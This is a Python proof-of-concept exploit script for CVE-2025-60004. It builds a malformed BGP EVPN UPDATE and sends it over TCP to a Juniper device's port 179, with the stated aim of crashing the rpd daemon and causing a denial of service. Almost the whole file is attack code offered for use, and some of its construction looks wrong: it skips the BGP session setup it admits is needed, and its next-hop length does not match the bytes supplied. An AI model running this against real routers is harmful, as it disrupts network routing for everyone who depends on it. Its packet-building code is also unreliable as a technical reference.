# CVE-2025-60004 PoC - Juniper Junos OS rpd DoS via Malicious BGP EVPN Update
# This PoC demonstrates triggering an rpd crash by sending a crafted BGP EVPN update
# Requires: scapy or similar packet crafting library, and an established BGP session
from scapy.all import *
from scapy.layers.inet import IP, TCP
from scapy.contrib.bgp import BGPHeader, BGPUpdate, BGPNLRI
import socket
import struct
TARGET_IP = "192.168.1.1" # Target Juniper device IP
TARGET_PORT = 179 # BGP port
LOCAL_IP = "10.0.0.1" # Local BGP peer IP
LOCAL_PORT = 12345 # Local source port
def craft_malicious_evpn_update():
"""
Craft a malicious BGP UPDATE message containing a malformed EVPN NLRI
that triggers improper exception handling in rpd, causing a crash.
"""
# BGP EVPN uses AFI 25 (L2VPN) and SAFI 70 (EVPN)
evpn_afi = 25
evpn_safi = 70
# Build a malformed EVPN route with abnormal/exceptional conditions
# EVPN Route Type 2 (MAC/IP Advertisement) with invalid length
route_type = 0x02 # MAC/IP Advertisement route
# Construct an intentionally malformed NLRI to trigger exception
# Invalid RD (Route Distinguisher) length or malformed MAC length
malformed_nlri = bytes([
route_type, # Route Type
0xFF, 0xFF, # Invalid length field (triggers exception)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # RD (Route Distinguisher)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, # Ethernet Segment ID
0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MAC Address (malformed)
0x00, # Invalid MAC length
0x00, 0x00, 0x00, 0x00, # IP Address
0x00, 0x00, 0x00, 0x00, # Labels
])
# Build BGP UPDATE message
mp_reach_nlri = struct.pack('!BB', evpn_afi, evpn_safi)
mp_reach_nlri += struct.pack('!B', 12) # Length of next hop (IPv4)
mp_reach_nlri += socket.inet_aton(LOCAL_IP) # Next hop
mp_reach_nlri += struct.pack('!B', 0) # Number of SNPAs
mp_reach_nlri += struct.pack('!H', len(malformed_nlri)) # NLRI length
mp_reach_nlri += malformed_nlri
bgp_update = BGPUpdate()
bgp_update.mp_reach_nlri = mp_reach_nlri
return bytes(bgp_update)
def send_malicious_update():
"""Send the crafted BGP EVPN update to the target"""
payload = craft_malicious_evpn_update()
# Establish TCP connection to BGP port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
try:
sock.connect((TARGET_IP, TARGET_PORT))
print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}")
# Send BGP OPEN message (simplified - real attack requires established session)
# In practice, attacker would need a configured BGP session
print("[*] Sending malicious BGP EVPN UPDATE...")
sock.send(payload)
print(f"[+] Malicious EVPN update sent ({len(payload)} bytes)")
print("[*] Target rpd should crash and restart, causing DoS")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-60004 - Juniper Junos OS rpd DoS PoC")
print("BGP EVPN Malformed Update Attack")
print("=" * 60)
send_malicious_update()